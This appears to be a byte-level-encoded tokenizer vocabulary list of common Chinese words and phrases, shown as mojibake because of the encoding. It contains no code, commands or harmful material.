+éĩįçĶŁ +åľ¨åħ¶ +é¦Ļåij³ +è´Łèį· +亲åĪĩ +èĩªè±ª +没éĶĻ +åĽłä¸ºåľ¨ +æĺŁæĺŁ +éĤij +è¿ĺæľīå¾Īå¤ļ +æij©æīĺ +æij©æīĺ车 +æŃ¥è¡Į +管çIJĨä½ĵç³» +èĦļä¸ĭ +éģİåİ» +æ±īè¯Ń +对ä¸įèµ· +çļĦç»ıåİĨ +åıĬ缸åħ³ +ä¸įå°ij人 +éĩįç£ħ +åĬ³åĬ¨èĢħ +大åĬĽåıijå±ķ +æĢİä¹Īåģļ +çĭĹçĭĹ +举åįĹäºļ +åĭĩäºİ +åħ¬éĸĭ +çĵ·çłĸ +åıĤçħ§ +广æĴŃç͵è§Ĩ +举åĬ¨ +æ±Łè¥¿çľģ +æķĪèĥ½ +å͝æľī +éĿ¢è²Į +èĩªåĬ¨é©¾é©¶ +æ¦ľåįķ +å½ĵæĪij们 +仲è£ģ +æľ¨æĿIJ +ç±³åħ° +çϽéĵ¶ +çļĦ人éĥ½ +å°±åĥıæĺ¯ +æŃ¥åħ¥ +åįłç͍ +åĩ»è´¥ +让大家 +ä¼ļè®©ä½ł +åİ¿æĶ¿åºľ +è¦ģç͍ +çŃīå½¢å¼ı +åįĩé«ĺ +责任æĦŁ +å¤ĩç͍ +ä»ĸ认为 +æ¸ħåįİ大åѦ +ä»ĸèĩªå·± +éĸ±è®Ģ +太平æ´ĭ +éĶģå®ļ +çŃĨ +è¿Ļçīĩ +æī§æĶ¿ +è¿ĶåĽŀæIJľçĭIJ +å°±æŃ¤ +éģĩåΰäºĨ +å¼Ģå¹ķå¼ı +管çIJĨéĥ¨éŨ +å§¿åĬ¿ +设æĥ³ +åĽĽåŃ£ +æĬĢæľ¯äººåijĺ +å·®çĤ¹ +è¾ŀèģĮ +èĢģ師 +çļĦæĦŁåıĹ +ä¹ŁéĿŀ常 +å¹´ä¸ĬåįĬå¹´ +æĢªçī© +èĮĥæĸĩ +æĪĺå½¹ +åIJ«ä¹ī +åħ¨è¿ĩç¨ĭ +èĢĮéĿŀ +éĢļ讯åijĺ +è¿Ļæł·æīįèĥ½ +æľºç»Ħ +è£ı +çķ¶çĦ¶ +èµĮåįļ +åIJĦæľī +å·¥ä½ľæľºåζ +äºĭåIJİ +åī§éĻ¢ +å±ĬæĹ¶ +åĺ´éĩĮ +主线 +ä¸ĢåľĪ +主è¦ģåİŁåĽł +å°¸ä½ĵ +åĮ»çĸĹåĻ¨æ¢° +ä½łæĢİä¹Ī +ä½Ĩçͱäºİ +æĹ¶ç©º +çĶ·æľĭåıĭ +çĶľèľľ +é«ĺåľ° +æĻĸ +èĴIJéĽĨ +åĩĿèģļåĬĽ +å¤ĩåıĹ +æĸĩåĪĽ +马æĿ¥ +马æĿ¥è¥¿äºļ +æŁ´æ²¹ +使人 +æķĻä¼ļ +ç§ĭ天 +æĺİçıł +åħŃåįģ +çݯå¢ĥä¸Ń +æ¸ħæĻ¨ +积æŀģåıĤä¸İ +å·ħå³° +ä¸ºæľŁ +çѾåŃĹ +æĦŁæ¿Ģ +ç§ĭåŃ£ +æĿijåŃIJ +æ¢ħ西 +æļ´éĽ¨ +çĶŁæ´»åľ¨ +çªĹæĪ· +æģ¶åĬ£ +纯粹 +åľ¨æİ¥åıĹ +没èĥ½ +è¡Į人 +åĭº +æĭ¨æīĵ +ä½ľåĩºäºĨ +çļĦ主é¢ĺ +æľªä¾Ĩ +ä¸ŃæľĢ +æ¾ľ +é«ĺè¡Ģåİĭ +åħ´èµ· +æŃ£èĥ½éĩı +åŁ¹è®ŃçıŃ +æİ¥åħ¥ +çĦ¶åIJİåĨį +åѦçĶŁä»¬ +é¢ĨåħĪçļĦ +çģ«çĥŃ +ä¸ĵèģĮ +æĪĸèĢħ说 +建è¨Ń +é»ı +对åħ¬åı¸ +çľīçļĦ +åħīèᣠ+å½ĵåľº +éĿ¢åŃIJ +èµĦ产管çIJĨ +æĹ¶æľŁçļĦ +çŀİ +åįİ举 +åıĪä¸Ģ次 +èĥİåĦ¿ +å®ļçĤ¹ +头çĹĽ +æ¶²ä½ĵ +æĺ¯ä¸Ģä½į +帽åŃIJ +å¹´èµ· +ä¸įä½İäºİ +è¾ĥå°ij +éĿ¢ä¸´çĿĢ +å±Ĥå±Ĥ +èĿ´èĿ¶ +èī°èĭ¦ +éĺ¿æł¹ +éĺ¿æł¹å»· +æ¦Ĥæĭ¬ +请éĹ® +èµ·åºĬ +å±Ģå±Ģéķ¿ +稳åģ¥ +å¦ĤæŀľæĪij们 +éħĴç²¾ +æĪ·åı£ +æĦŁæĤŁ +æĪij们éľĢè¦ģ +æĬĢèīº +èĩªåªĴä½ĵ +è¿ĽåĮĸ +æ¿ĢçĥĪçļĦ +ä½ĵ温 +èļķ +èĩ´è¾ŀ +宪æ³ķ +ä¸ĢçŃīå¥ĸ +çĵ¶é¢Ī +æĥłæ°ij +èµ°è·¯ +çݰ任 +åķĨéĩı +ä¸ĭ车 +åĪł +責任 +èŀįåIJĪåıijå±ķ +ç´łæĿIJ +油价 +åģļ人 +çŀª +æĶ¹éĿ©åĪĽæĸ° +çļĦåĮºåĪ« +è·¨å¢ĥç͵åķĨ +æ¶īåıĬåΰ +æīĺ管 +æĪijè¿ĺæĺ¯ +åĿIJæłĩ +ç½ij讯 +å½ĵåľ°çļĦ +追溯 +åľŁè̳ +åľŁè̳åħ¶ +åºķä¸ĭ +åĩłåįģå¹´ +ç©¿è¿ĩ +çĶŁæĢģæĸĩæĺİ +æİ¨èĸ +æİ¨èĸ¦ +éłĨ +åĴ³åĹ½ +åĪĨæĪIJ +çĹķ迹 +æĪ·ç±į +éĥ½ä¸įèĥ½ +æĻļä¼ļ +åĢ© +ä½ĵåĬĽ +è¿Ļ个èģĮä¸ļ +æĹłå½¢ +åıªæĥ³ +è¿Ľåıĸ +æĿ̿ѻ +èĦĬ +äºijåįĹçľģ +æľªçŁ¥ +ç¾İèģĶ +ç¾İèģĶåĤ¨ +å¤ĸå½¢ +诱æĥij +çĽ£ +è¡Į使 +åłĨ积 +çĨŁç»ĥ +éĺIJè¿° +æľĢ大éĻIJ度 +å·¡æŁ¥ +夺åĨł +ä¼ģä¸ļæĸĩåĮĸ +çĭ®åŃIJ +ä¿Ŀå®Ī +ä¸ºæł¸å¿ĥçļĦ +æī©æķ£ +åζéĢłåķĨ +æŁĶ软 +为ä¸Ģä½ĵçļĦ +游çİ© +çĶŁçĹħ +幫åĬ© +åͱæŃĮ +æīįåı¯ä»¥ +宽æĿ¾ +è¦ģæ¯Ķ +æĺ¯æĢİæł· +çģ°èī² +çİĭåĽ½ +æIJħæĭĮ +计éĩı +åij¨åĽ´çļĦ +æĻºèĥ½æīĭæľº +常åĬ¡ +常åĬ¡åī¯ +é©´ +å°Ĩè¿ij +寻常 +ä¸ŃåĽ½å¸Ĥåľº +容åύ +å±±ä¸Ĭ +èĥĮåIJİçļĦ +亲å¯Ĩ +æīĢ以说 +éİ® +çļĦçIJĨçͱ +大åŁİå¸Ĥ +常年 +æĹħ游ä¸ļ +å°±æĺ¯è¿Ļæł· +åĨįæĿ¥ +é«ĺä½į +åĨħ饰 +æŀĦéĢł +ä¸Ģèµ·æĿ¥ +çͳè«ĭ +å·²ç»ıå¼Ģå§ĭ +çļĦåĬ¨ä½ľ +被迫 +éģįå¸ĥ +åīĸæŀIJ +å°ıäºĭ +å¿ĥä¸ŃçļĦ +ä½ĵåζæĶ¹éĿ© +çļĩå®¶ +æķĻåłĤ +åIJĥå®Į +åĽ½æ°ijåħļ +æĺİç¡®äºĨ +åıijå±ķè§ĦåĪĴ +第ä¸ĢæŃ¥ +å¾Ĺèµ· +åľ¨åĵª +çļĦè·¯ä¸Ĭ +é»Ķ +çķ¶æĻĤ +大åĬĽæĶ¯æĮģ +åıĮéĩį +çŁ¥éģĵèĩªå·± +åIJĪä½ľåįıè®® +æ°ĶåĬ¿ +éķ¿æķĪæľºåζ +ç½ķè§ģ +åĽŀæĿ¥äºĨ +ä»ĸä¼ļ +ä¸Ńæĸ° +ä¸Ńæĸ°ç½ij +çļĦåķĨåĵģ +èµłéĢģ +決å®ļ +å¸ĤåľºçĽij管 +çķĻåѦçĶŁ +ç͵åİĭ +äºļ马 +äºļ马éĢĬ +è¿ĺæĺ¯æ¯Ķè¾ĥ +ä¿ĥè¿ĽäºĨ +æµģåħ¥ +æijĦåĥı +æijĦåĥı头 +æıIJåıĬ +åıijæİĺ +æī¾åĩº +æ¢Ŀä»¶ +ç¹¼çºĮ +æĪijåĸľæ¬¢ +å¥İ +æ¦ľæł· +å¼ĢèĬ± +æ²īéĩį +åŁºåĩĨ +ä»ħä»ħæĺ¯ +轨éģĵ交éĢļ +åĶIJå±± +çŃīä¸Ģç³»åĪĹ +ä¸įè¿ĩæĺ¯ +åŃĺåľ¨çĿĢ +èĬ±çĶŁ +夷 +ç»Īç©¶ +ä¹Łæĺ¯ä¸Ģ个 +åįģåŃĹ +èĸªéħ¬ +伤å¿ĥ +æĺ¥ç§ĭ +åĨ·åį´ +ç²¾çģµ +çļĦåľ°åĽ¾ +æ¯Ķçī¹ +æ¯Ķçī¹å¸ģ +æĢ§åĪ« +ä½Ļä¸ĩåħĥ +ä¸įå¿ĺåĪĿå¿ĥ +å¿ĥçĸ¼ +æĽ²çº¿ +é«ĺä½İ +è¦ıå®ļ +æĻ¯èī² +è¦ģ说 +åħ¬åı¸å°Ĩ +æ¶²åİĭ +è¿Ŀ约 +åİļ度 +åºŀ大çļĦ +è¿ĺæĺ¯å¾Ī +é¦ĸåħĪæĺ¯ +çµ² +åĬ¡å®ŀ +並ä¸Ķ +å¢ŀè¿Ľ +ç»Ħç»ĩå¼Ģå±ķ +èµ·æĿ¥äºĨ +è¾ĥå°ı +导游 +ä¸¤åľ° +ç¿ĺ +çģ¿çĥĤ +é£İéĩĩ +æĶ¯çº¿ +æĶ¯çº¿ä»»åĬ¡ +娱ä¹IJåľĪ +天津å¸Ĥ +åĮħåĽ´ +æľ¬èµĽåŃ£ +éĩįè¦ģ讲è¯Ŀ +åıĮåIJij +åįİ丽 +éͤ +åĦ¿å¥³ +åįĸåĩº +ä¾Ĩ說 +ä»ĭç»įä¸Ģä¸ĭ +åIJ¦è®¤ +åĭĿ +æĻ®éĢļ人 +çļĦåĬ¨åĬĽ +涨åģľ +åŁºéĩij管çIJĨ +ä¸Ģ个éĩįè¦ģ +è¿IJæ²³ +çħŀ +è´¢æĶ¿éĥ¨ +è¡Įä¸ļåįıä¼ļ +éĥ½å°Ĩ +è¨Ģ论 +ä¸ĭä¾Ĩ +墨西 +墨西åĵ¥ +åĽłä¸ºä»ĸ们 +æĢİä¹ĪåĽŀäºĭ +åĬłå¤§å¯¹ +èĬŃ +çīĮåŃIJ +ä¼ļ使 +妹åŃIJ +ç«Ļéķ¿ +å¿ħå¤ĩ +æłijæľ¨ +æģ¶æĦı +æ²³éģĵ +å¯Įè£ķ +ç¹ģåįİ +ä»£è¡¨åĽ¢ +æµij身 +é¦ĸä½į +èĪªç©ºåħ¬åı¸ +éĽ»å½± +ä¸ĵè¾ij +æ°´æºIJ +ä¸Ńæ¯Ĵ +並ä¸į +èĢĮåİ» +éĥĿ +äºİæŃ¤ +æĸĩåĮĸ建设 +èĤ¯å®ļä¼ļ +å¸ĮæľĽå¤§å®¶ +æııåĨĻ +ä½İè°ĥ +æĸ°åħ´äº§ä¸ļ +æ·Ħåįļ +æĶ¾å¼Ģ +çļĦæĢ§æł¼ +çĸ¾çĹħçļĦ +æķ´é¡¿ +线ä¸Ĭ线ä¸ĭ +éĢī项 +çļĦ认åı¯ +æķ´é½IJ +çĶļä¹Ī +çľģåĨħ +åı¤äºº +æ°ijä¿Ĺ +çī¡ä¸¹ +éŨçªĹ +éĤ£æł·çļĦ +çĽijäºĭä¼ļ +ç¿¡ç¿ł +禹 +åįĥä¸ĩä¸įè¦ģ +æĶ¶ç¼© +çļĦæĸĩåŃĹ +åĴĮå°ļ +æĮĩ令 +åħ±äº§åħļåijĺ +çļĦçĪ¶äº² +å®Įå·¥ +åĬ¡å·¥ +马æĭī +马æĭīæĿ¾ +æµĭè¯Ħ +å²ļ +ä¸įåģļ +ä¸ĥå¹´ +åĿĩä»· +主è§Ĥ +å¾Īä¸įéĶĻ +èĤ¡ä¸ľå¤§ä¼ļ +äºĶä¸Ģ +é£İåIJ¹ +å¼Ģéĩĩ +è¿Ļä¹Ī大 +èĥ½çľĭåΰ +èĢĥè¯Ħ +åį³ä¾¿æĺ¯ +çݰ代åĨľä¸ļ +æ¯Ķè¾ĥé«ĺ +è¦ģçľĭ +没äºĨ +解決 +çݯæ¯Ķ +åĨ²åĬ¨ +æ·±å¤ľ +åĩłåįĥ +ä¿ı +ç½ijæ°ij +就没 +ä»ĸ表示 +éĩıåŃIJ +æĹ©é¤IJåĬłçĽŁ +åįĬå²Ľ +æIJŀç¬ij +ä¸ĬæĬ¥ +審 +é¢Ħ订 +èľĤèľľ +æŁ¥æī¾ +ä¼ĹæīĢ +ä¼ĹæīĢåij¨ +ä¼ĹæīĢåij¨çŁ¥ +æĹ©æĹ¥ +åıijæī¬ +åĴĮ个人 +åĬłåħ¥äºĨ +åĸ®ä½į +åĪĨæĺİ +第ä¸Ģæī¹ +ç¾İåĨĽ +æĿĢæīĭ +éŨå¤ĸ +åķĨåľĪ +ä¸ĢåĪ» +çļĦçľ¼ç¥ŀ +éľĦ +äºĽä»Ģä¹Ī +åĬłæ·± +æ¯ıä½į +å¸ĤéĿ¢ä¸Ĭ +åıĶåıĶ +çļĦéĤ£ç§į +粤港澳 +è´´å¿ĥ +æĸĩåĮĸ产ä¸ļ +红æĹĹ +åĺīåħ´ +æĶ¶çĽĺ +å®ĮæĪIJåIJİ +ä¼ģä¸ļ管çIJĨ +纵横 +ä¸įä¿¡ +æĪIJéĥ½å¸Ĥ +æ´Ĺ澡 +举è¡ĮçļĦ +çĶ¢çĶŁ +ç©¿ä¸Ĭ +åĪļ好 +åħī线 +æīĵæŀ¶ +è¿Ļæľ¬ä¹¦ +åĶ®åIJİæľįåĬ¡ +åĩłåĪĨ +ä¸Ĭ次 +ä¸įåĪĨ +产åIJİ +éģ¿å¼Ģ +ç»Īæŀģ +代表大ä¼ļ +æ¼ĶæĬĢ +åĽŀè´Ń +åŃ¦è´¹ +éĺ»ç¢į +ä¸Ģ大æī¹ +竣工 +åĨ³å®ļäºĨ +ä½Ĩå¦Ĥæŀľ +ç͵æµģ +ä¸Ŀ毫 +èĥ½å¤Łåľ¨ +éĶĢåĶ®æĶ¶åħ¥ +åľ¨åŃ¦æł¡ +æ°´åĩĨ +è§Ĩ线 +èĩªåľ¨ +åķĨä¸ļéĵ¶è¡Į +为äºĨ让 +çį²å¾Ĺ +çݩ家æľĭåıĭ +éĿ¢èĨľ +åĪĨåī² +åī§æľ¬ +ç«Ń +说å¾Ĺ +æĥ³çŁ¥éģĵ +çļĦ人çī© +èĮħåı° +åIJĮä¸Ģ个 +æķ°æį®ä¸Ńå¿ĥ +çĶĦ +åĸľæĤ¦ +ä¸ĭæĿ¥çļĦ +å®ļåIJij +æŀģåħ· +çļĦåľŁåľ° +éĤ£åĢĭ +æijĦåħ¥ +äºĨæĪijçļĦ +马路 +åħ¨ç¤¾ä¼ļ +è®®æ¡Ī +å±ĭåŃIJ +åIJįåı« +åĮª +åľ¨å¤ĸéĿ¢ +åįİåįĹ +åıijè´§ +å¯ĴåĨ· +é«ĺçŃīæķĻèĤ² +详ç»ĨçļĦ +ä¸ªé¡¹çĽ® +çĶŁäº§åĬĽ +æĹ¶å¸¸ +å°±æľĥ +ä¸ĩèĤ¡ +éĻĮçĶŁäºº +æııç»ĺ +å½ĵçĦ¶æĺ¯ +æĭīåĬ¨ +éĵ¾æĿ¡ +æī£éϤ +ä¸Ģ缴éĥ½ +å°ıåŃ©åŃIJ +伤åı£ +第äºĮå±Ĭ +è´Ńç½® +çļĩ马 +æĹłèģĬ +表åĨ³ +诸å¦Ĥ +åĵįèµ· +é£İæļ´ +ä¸ĢæµģçļĦ +ç·¨ +è§£æĶ¾åĨĽ +室å¤ĸ +å°±è¿Ļä¹Ī +å³¶ +æīĢæľī人éĥ½ +æIJľç´¢å¼ķæĵİ +çļĦæĪIJæľ¬ +åħļæĶ¿ +åıijè¡Į人 +çļĦäºĭå®ŀ +对该 +åıĹæįŁ +ä¿Ħä¹Į +é²ľèĬ± +åĨľèᝠ+æŀģéĢŁ +æĢ¥æĢ§ +两ä¼ļ +ä¸ĢèάæĿ¥è¯´ +æµ·é²ľ +åĨĪ +çĶ¨äºº +çĶ¨äººåįķä½į +åĢª +åĦªæĥł +æł¹æºIJ +åĽ¢è´Ń +ç¾İæ´² +ä¸ĭè¡Į +å¹´æľ« +èľ¡ +è¯ģä»¶ +åľ¨æĪijåĽ½ +ä¸įåºĶ +æĮīæĹ¶ +åłªç§° +åľºä¸Ĭ +å¹²éĥ¨èģĮå·¥ +æľīå¾Ī大çļĦ +æķ°åŃĹç»ıæµİ +æ¼Ķç»ĥ +æį®ç»Łè®¡ +å¾ĢæĿ¥ +广åijĬæľįåĬ¡ +çļĦè·Ŀ离 +æŃ¸ +è¨Ģè¯Ń +被èªī +被èªī为 +åĭī强 +å°Ĭæķ¬ +ä¸ĩ亿åħĥ +ä¸ŃåĽ½åĽ½éĻħ +å¹²é¢Ħ +年产 +èĢķåľ° +èĮİ +åį³æĺ¯ +æĺ¨æĻļ +æĪIJ为ä¸Ģ个 +çºłæŃ£ +åij½åIJį +é¢ģå¸ĥ +çĮľæµĭ +ä¿ĿèŃ·æĶ¿çŃĸ +æĭ¢ +活泼 +çŃīéĥ¨éŨ +åѦåΰ +å¢ŀå̼ç¨İ +èĪªçº¿ +åĨ¤ +åįģåĩłå¹´ +æİ§èĤ¡èĤ¡ä¸ľ +ä¸ĢéŨ +ä¸ªå·¥ä½ľ +ä¸ªå·¥ä½ľæĹ¥ +æĸ°è¥¿ +æĸ°è¥¿åħ° +论è¯ģ +ä»Ĩ +åı¦å¤ĸä¸Ģ个 +æĶ¹ç¼ĸ +严ç¦ģ +åĸľå¥½ +个人信æģ¯ +满æĦı度 +åĵ¨ +å¸ĪèµĦ +æĶ¹ä¸º +ç«ŀäºī对æīĭ +åĩºçĤī +åķĨ人 +大æ£ļ +æĮĩ导ä¸ĭ +å¦ĩç§ij +輪 +æīģ +åIJĮæĹ¶è¿ĺ +å¹¶éĢļè¿ĩ +æĪĺéĺŁ +èĶĵå»¶ +ä¿ŀ +éĢĤå½ĵçļĦ +åīįè¾Ī +åĵģåij³ +æ¹¿åľ° +æĪIJåŀĭ +ä¸įåıªæĺ¯ +æĥ©ç½ļ +åĩºåı°äºĨ +çݩ游æĪı +æīįåıijçݰ +åºĶèģĺ +å¤ĸæĿ¥ +åįłé¢Ĩ +å±ķæľĽ +å«Ĥ +港èĤ¡ +æ¡Įä¸Ĭ +æĶ¯æŁ± +çļĦæĥħå½¢ +广éĺĶçļĦ +æĶ¯è¡Į +å´©æºĥ +æľĪä¸Ń +æľĪä¸ŃæĹ¬ +ç»įåħ´ +临è¿ij +æĬ¤æłı +æļ® +åįķèģĮä¸ļ +è¾¹å¢ĥ +æĹ¥çħ§ +ä¸ĢåłĨ +缴å¾Ħ +åħ±åIJĮä½ĵ +æĸ°åįİç½ij +æīĵ好 +ç͵åĬ¨æ±½è½¦ +ä¸įæĺİçϽ +éĢĻ裡 +çĽĽå¤§ +çİĭæľĿ +åĨįä¸Ģ次 +åĬŀåħ¬åİħ +è´¨æĬ¼ +åIJĪåĩ» +人们对 +éĽ¶é£Ł +éĥ½ä¸įçŁ¥éģĵ +çļĦè¯Ńè¨Ģ +åĭŁéĽĨèµĦéĩij +åĬ¨èĦī +彤 +è¿Ļåĩłå¹´ +çŁŃè§Ĩé¢ij +太é«ĺ +常å§Ķä¼ļ +åĬłçıŃ +éĩįå¿ĥ +åªĴä½ĵæĬ¥éģĵ +没æ³ķ +éĹ»åIJį +çĥŃ度 +å¹¿æ³ĽçļĦ +åħŃ大 +çī©ä½ĵ +ä¸į该 +é¢ĺ主 +精彩çļĦ +ä¸ºè¿Ľä¸ĢæŃ¥ +èĻŀ +åĽºçĦ¶ +è´µå·ŀçľģ +çºłç»ĵ +代çIJĨ人 +æ³ķå®ļ代表 +åı¦ä¸Ģç§į +ä¸įåIJ« +æĭ¯æķij +ä¼ļç»Ļ +è¯Ĺè¯į +åIJĮç±» +å¾Ĺä¸įåΰ +æĬĵç´§ +以åħ¶ +åħ¥åħļ +è¿ĺåı¯ +æľŁåĪĬ +å¾Īå¤ļæĹ¶åĢĻ +æĹ¥åIJİ +åħ¬çº¦ +ä¸Ģ举 +æ¯Ķè¾ĥå¤ļ +éĩijæ²Ļ +æįŀ +æİĴåĩº +æŃ¦æľ¯ +ä¸įæĸ· +ä¸ŃèĢĥ +ä¿¡èµĸ +ä»İä¸ļ人åijĺ +çģ«çĦ° +éĨĴæĿ¥ +ä½İ温 +éĢ¾æľŁ +åĬ±å¿Ĺ +éħ¥ +åı¯è°ĵæĺ¯ +è¿ĻæĦıåij³çĿĢ +é¢łè¦Ĩ +åĮĹ京大åѦ +ä¸ĵ线 +åıĬ以ä¸Ĭ +訪 +èĢĮåIJİ +çŁ¥ä¹İ +ä¸Ģ对ä¸Ģ +å¨ĥå¨ĥ +çģ¾éļ¾ +åħ¨å±Ģ +æīĢå¾Ĺç¨İ +å®ŀæĥł +èļĤèļģ +ä¹ŁçŁ¥éģĵ +温åĴĮ +èIJ½ä¸ĭ +åŀĭä¼ģä¸ļ +åĨįä¹Ł +ä¾ĽçĥŃ +é«ĺæ½® +çĢı覽åύ +çļĦ巨大 +åħĪ天 +å¹´ä¸ŃåĽ½ +类似çļĦ +çIJĨäºĭä¼ļ +空éĸĵ +ç쵿ĦŁ +åĬĽæ°Ķ +带ä¸Ĭ +ä¸į好æĦıæĢĿ +æľīä½ķ +å·²åľ¨ +åıĸåĩº +è¿Ŀæ³ķçĬ¯ç½ª +åŃ¦ä¹łè´¯å½» +åľ°å¸¦ +楼梯 +çŃīæĥħåĨµ +ä»İåīį +çļĦä¹łæĥ¯ +ç³Łç³ķ +å°±èĥ½å¤Ł +è©ķ +ä¸Ģå¾ĭ +æĮ«æĬĺ +åİŁæĸĩåľ°åĿĢ +å½ĵå±Ģ +ä¸įéĢļ +æķ°åįĥ +éĺŁä¼į建设 +æĹ¶èĬĤ +åģļèµ· +çļĦè®°å¿Ĩ +ç½ij绾å®īåħ¨ +åĩ¡æĺ¯ +æ°¯ +éĽķåĪ» +åŁĥåıĬ +æĪijåı¯ä»¥ +çĽijçIJĨ +æĽ´åħ· +åŁİ管 +èĭ¯ +åı¥åŃIJ +èĭ¥æľī +ä»İæĿ¥ä¸į +缸åħ³è´Łè´£ +å®īåħ¨æĦŁ +æĽ´è¦ģ +çļĦæĥħæĦŁ +çī¢çī¢ +è¾ĥ好çļĦ +æ°® +ç¬ijè¯Ŀ +车å±ķ +ä¹ĭç¾İ +ç®Ģ约 +ç±»åŀĭçļĦ +èĢģåĮĸ +çľĭä½ł +è¿ĩåĪĨ +éŨåīį +ä¸ĢéĹ´ +æĥ³åİ» +åªĽ +åľŁè±Ĩ +åıĪç§° +ä¸Ńä¿¡ +åŃĺéĩı +马äºij +èĩ´ä½¿ +åħĪåīį +èĢģåŃIJ +æīĵæī® +æ¯ķä¸ļäºİ +æ¯ķä¸ļåIJİ +ç¾İ好çĶŁæ´» +å·¥ä¸ļä¼ģä¸ļ +就好äºĨ +èħIJèļĢ +çıįçıł +åΰè¿ĻéĩĮ +æīĢéľĢçļĦ +è¿Ļæĺ¯åĽłä¸º +çIJĨæĥ³çļĦ +å·®å¼ĤåĮĸ +é® +é®® +äºļ太 +æĹłç©· +æıIJçݰ +ä¸ĵä¸ļæĬĢæľ¯ +çĶ¢æ¥Ń +åѦåŃIJ +ç§ijå¹» +åįłåľ°éĿ¢ç§¯ +ä¸įåĩĨ +æľªæĪIJ年人 +æĶ¶å½ķ +è¿ĺ款 +éĴ¢çŃĭ +æ¼¢ +å¾ĹæĦı +综åIJĪä½ĵ +æŀģé«ĺ +åįķè¯į +é«ĺæķĪçļĦ +骨头 +æī§çĿĢ +缼ä¸ĸ +模çī¹ +æĽ´èĥ½ +ç»ĿæľĽ +对åºĶçļĦ +æ¨Ĭ +æĸ°ä¸ī +æĸ°ä¸īæĿ¿ +æģ°æģ° +åIJįå®¶ +æł¸å¿ĥæĬĢæľ¯ +个å°ı +æĢİä¹Īä¼ļ +说ä¸įå®ļ +西çĵľ +åĵİ +ç¢Ł +å¿ħä¸įåı¯ +å¿ħä¸įåı¯å°ij +ä¹ĭéĸĵ +åĪĨ管 +交éĢļäºĭæķħ +å¼ĢåĬŀ +å¾ģæ±ĤæĦıè§ģ +亨 +鼻åŃIJéĥµ +鼻åŃIJéĥµä»¶ +ä¿¡æģ¯æľįåĬ¡ +ä½łè§īå¾Ĺ +缴è§Ĥ +å·²å®ĮæĪIJ +åĪĨä¼ļ +åĽŀåįĩ +éļ» +好人 +äºĨè§£ä¸Ģä¸ĭ +å᫿µ´ +æľĢçα +åºŀ大 +客æĪ¿ +çijŀåħ¸ +éĥ½ä¸įæĺ¯ +館 +èĹī +çļĦåIJĦ项 +ä¸ºçĽ®æłĩ +çļĦè®¤çŁ¥ +å½±åĵįåĬĽçļĦ +å¤¸å¼ł +佩æĪ´ +æ±ĩçİĩ +çļĦçαæĥħ +æĺ¥é£İ +æĺ¯æĪijçļĦ +樹 +åįĬå°ıæĹ¶ +å±±åİ¿ +山西çľģ +èĢĮè¿Ļ +æĽ´å¤ļä¿¡æģ¯ +è¿ĺæľīä¸ĢäºĽ +ç²¾ç»ĨåĮĸ +ç¾İåѦ +çͱæĸ¼ +ä»ħä¾ĽåıĤèĢĥ +å¾Īé«ĺçļĦ +åıłåĬł +è¿Ļä¹Ī说 +å±ķåĩº +åĽĽå¤Ħ +ä¸ĩå®¶ +æĭĽåĭŁ +çļĦ强大 +æĤ£æľī +å°ıäºİ +ä¹Łè®¸æĺ¯ +对èĩªå·±çļĦ +èģĮä¸ļæķĻèĤ² +æĿ¥è¿Ľè¡Į +档次 +æīĵèµ¢ +éĥ½æľīçĿĢ +庸 +è¯Ńæ°Ķ +çͲéĨĽ +空åĨĽ +车åĨħ +åĽłä¸ºä½ł +å®ŀæķĪ +æĥħä¾£ +åıijè¾¾åĽ½å®¶ +éķľåŃIJ +æ¯įå©´ +ä½Ĩæĺ¯ä»ĸ +积æŀģæİ¨è¿Ľ +大å¹ħ度 +çļĦ女åĦ¿ +é¤IJæ¡Į +åIJ¬å¾Ĺ +çļĦ积æŀģæĢ§ +好åIJ§ +æĹ¥æ¶Īæģ¯ +æľīä»»ä½ķ +æ¯Ĵåĵģ +æĹ©çĤ¹åĬłçĽŁ +第ä¸Ģ天 +å°½åĬĽ +æłĸ +主æīĵ +æĺ¯ä¸ĢåIJį +çĪĨæĸĻ +äºĭä¸ļåıijå±ķ +å¾®åķĨ +äºİä¸Ģä½ĵçļĦ +çĶŁçĮª +èĩªçĦ¶èµĦæºIJ +çŀĦåĩĨ +è§Ħ模åĮĸ +å¹¶ä¸İ +èĤ¥èĥĸ +å®¶ç͍ +大çĪ· +é¢ĦåijĬ +æĿ¥åģļ +éĺ³åİ¿ +æŀĦçŃij +é¢ģå¥ĸ +åİĨåı²æĸĩåĮĸ +æľįåĭĻæĪĸ +æĢ»åĨ³èµĽ +åıijåŀĭ +æĪij羣çļĦ +æĽ¦ +åıĤä¼ļ +èĦĨå¼± +åĩĨåħ¥ +èħ¹éĥ¨ +åı¸ä»¤ +æĤ²åī§ +天ä¸Ĭ +åı£ä¸Ń +ä¸ĩ个 +åѦä¸ļ +æıIJåĢ¡ +两边 +大èĤ¡ä¸ľ +åı¤éķĩ +è¡Ģç³ĸ +çļĦç¨ĭ度 +æ£īèĬ± +åIJİåı° +å°±åĮ» +æķ´æķ´ +èĴ² +çĽĪåĪ©èĥ½åĬĽ +ç±½ +èĦ« +çľĭéĩį +å®¶éķ· +èģĺç͍ +èµĽéģĵ +åīįèĢħ +建èѰ +å¾ĭå¸ĪäºĭåĬ¡ +èīºæľ¯åĵģ +æľīèĩªå·±çļĦ +åIJ¦å®ļ +ç¤¾åĽ¢ +åij¨äºĶ +带åΰ +å·¥ä½ľä¼ļè®® +èĤ¡æľ¬ +å¤ĸåĮħ +å®¶åħ¬åı¸ +çĽijçĭ± +èĪĬ +åIJįæł¡ +西æ¹ĸ +è¶ħè¿ĩäºĨ +åįĹå±± +ç»Ħä»¶ +å̼å¾Ĺ注æĦı +æĮ£æīİ +äºĭ迹 +ç¶ĵçĩŁ +ç§ij室 +好åIJĹ +æ¤ħåŃIJ +åľĪåŃIJ +ä½Ĩ她 +æµģçķħ +åIJĦèĩªçļĦ +èģĮåijĺ +è¡įçĶŁ +åħ¨åľº +æĴ¤éĶĢ +åį´è¢« +å®ģéĿĻ +åīįæīĢ +åīįæīĢæľª +åīįæīĢæľªæľī +主ä¸ļ +åĮĹç¾İ +è¯Ħå®ļ +åĵģå°Ŀ +大家éĥ½åľ¨ +主å¸ħ +ç»Ĩå¿ĥ +ä¿¡æģ¯æĬ«éľ² +çļĦç«ŀäºī +éĢĻæ¨£çļĦ +ç§ijåĪĽæĿ¿ +éĩĩæijĺ +票æį® +éĢIJå¹´ +èĭ±è¶ħ +è¡Įä¸ļåĨħ +人寿 +åIJİåĭ¤ +å¦ĤæĦı +ç¬Ķè¯ķ +æ·¡æ·¡çļĦ +ä¸įèĪĴæľį +ä½ĵ积 +ä¹Łä¸įè¦ģ +éĿ¢æĸĻ +æł·æľ¬ +ç¥ģ 